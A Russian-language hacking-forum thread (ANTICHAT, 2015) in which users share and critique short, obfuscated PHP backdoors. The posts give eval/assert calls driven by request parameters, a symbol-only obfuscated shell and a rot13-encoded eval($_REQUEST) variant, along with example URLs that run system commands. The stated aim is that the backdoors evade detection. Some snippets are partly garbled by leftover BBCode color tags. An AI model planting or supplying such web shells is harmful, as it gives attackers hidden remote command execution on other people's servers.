HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.04.2015, 09:39
M.Billar
Познающий
Регистрация: 24.07.2013
Сообщений: 78
С нами: 6738806

Репутация: 0
По умолчанию

1) PHP-Backdoor, который ничем не палится и при этом выглядит не палевно. Вчера придумал

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
Цитата:
Сообщение от Using  
index.php?large=assert&code=echo 123;
index.php?large=assert&code=system('echo 1;');
Могу поздравить себя с первым собственным пхп-бекдором.

2) Используем фичу обратных кавычек. Исполняет код передаваемый в параметре = названию переменной.

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][]=[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][]=@[/COLOR][COLOR="#0000BB"]_[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][((++[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"])+([/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++ ))].=[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][]=++[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][]=[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][--[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]>>[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]];[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]].=(([/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]]).([/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]];[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]] =([/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]>>[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]]).([/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]]^[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]][([/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]
[/
COLOR][/COLOR
Цитата:
Сообщение от Using  
file.php?0=НАЗВАНИЕ_ФУНКЦИИ&1=ДА НЫЕ ДЛЯ ФУНКЦИИ
file.php?0=assert&1=phpinfo();
file.php?0=eval&1=echo 1;
4) PHP-Backdoor, спасибо тебе, типизация которой нет

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/
COLOR][/COLOR
Цитата:
Сообщение от Using  
file.php?f=assert&c=phpinfo();
file.php?f=eval&c=echo 1;
 
Ответить с цитированием

  #2  
Старый 10.04.2015, 11:59
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами: 9721141

Репутация: 1013
По умолчанию

бэкдор, скорее, должен быть незаметным и сливаться с остальным кодом, чем быть самым коротким, или быть только из символов скобок. то есть всегда по ситуации
 
Ответить с цитированием

  #3  
Старый 10.04.2015, 20:55
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию

Ужасно. Практически ничего нового.

1 способ интересен, но первый же попашийся анализатор кода спалит ваш assert со всеми потрохами.

2 способ описан Raz0r аж в 2008 году

http://raz0r.name/releases/mega-reli...orotkij-shell/

3 способ - обычная обфускация. Таких динамических бэкдоров понаделать очень просто.

4 способ - классика. Им пользуются давно и это, наверное, самый распространённый тип бэкдора на сегодняшний день.
 
Ответить с цитированием

  #4  
Старый 10.04.2015, 21:15
M.Billar
Познающий
Регистрация: 24.07.2013
Сообщений: 78
С нами: 6738806

Репутация: 0
По умолчанию

Цитата:
Сообщение от BigBear  

Ужасно. Практически ничего нового.
1 способ интересен, но первый же попашийся анализатор кода спалит ваш
assert
со всеми потрохами.
Не против если объединю с классикой?)

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'large'[/COLOR][COLOR="#007700"]]([/COLOR][COLOR="#0000BB"]str_rot13[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'riny($_ERDHRFG["pbqr"]);'[/COLOR][COLOR="#007700"]));
[/
COLOR][/COLOR
Цитата:
Сообщение от None  
index.php?large=assert&code=echo 123;
index.php?large=assert&code=system('echo 1;');
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...